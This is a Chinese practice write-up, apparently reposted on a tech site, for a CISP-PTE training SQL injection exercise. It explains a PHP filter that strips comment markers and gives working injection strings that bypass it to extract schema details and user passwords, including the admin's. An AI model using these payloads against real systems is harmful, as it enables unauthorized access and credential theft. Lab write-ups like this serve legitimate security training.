CISP-PTE练习篇基础题目一SQL注入
本文仅当作练习记录使用。
开始答题:
注册账号 poi ,在发表出给出过滤代码如下;
// 代码过滤规则 while (strstr($sql,'--')) { $sql = str_replace("--", "", $sql); } while (strstr($sql,'#')) { $sql = str_replace("#", "", $sql); }
函数的作用:
strstr(str1,str2)
函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。举例:
<?php
echo strstr("123456","5");?>
意思就是只返回 "123456" 中出现的第一个 "5" 直到结束(显示结果结果为 56)str_replace("--", "", $sql);
意思是将--$sql中的全部替换为 空
str_replace()函数
str_replace(find,replace,string);find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
<?php
echo str_replace("1","2","11111");
?>
意思就是将111111中的1全部替换为2(显示结果为22222)
知道函数的作用之后尝试进行绕过,可利用在线运行PHP攻击进行尝试绕过。
系统没有过滤空格等特殊符号
获取当前数据库:
database',(select database()),'poi') #-#---
获取2web数据库中的所有表:
22',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'poi')#-#---
获取表中的字段:
column_name',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'poi')#-#---
获取字段 password,username 中的值:
22',(select group_concat(username,'_',password) from users1),'poi')#-#---
想直接获取所有的 password,username 的值但是没有成功---可能由于查询长度过长做了限制。
知道了表明为users1,字段名为password,username;直接select * from 进行查询。
22',(select password from users1 where username='admin'),'poi')#-#---
知识点补充:
information_schema 库存储了其他数据库中的所有信息
tables表 保存了所有的数据库的名称和数据库表的名称等
schemata表 保存了所有的数据库的名称和数据库的编码信息等
columns表 保存了mysql数据库中所有表的信息如:数据库名称、字段名称、字段类型等
schema_name 库名信息
table_name 表名信息
column_name 字段信息group_concat() 拼接显示
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgkcjja
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13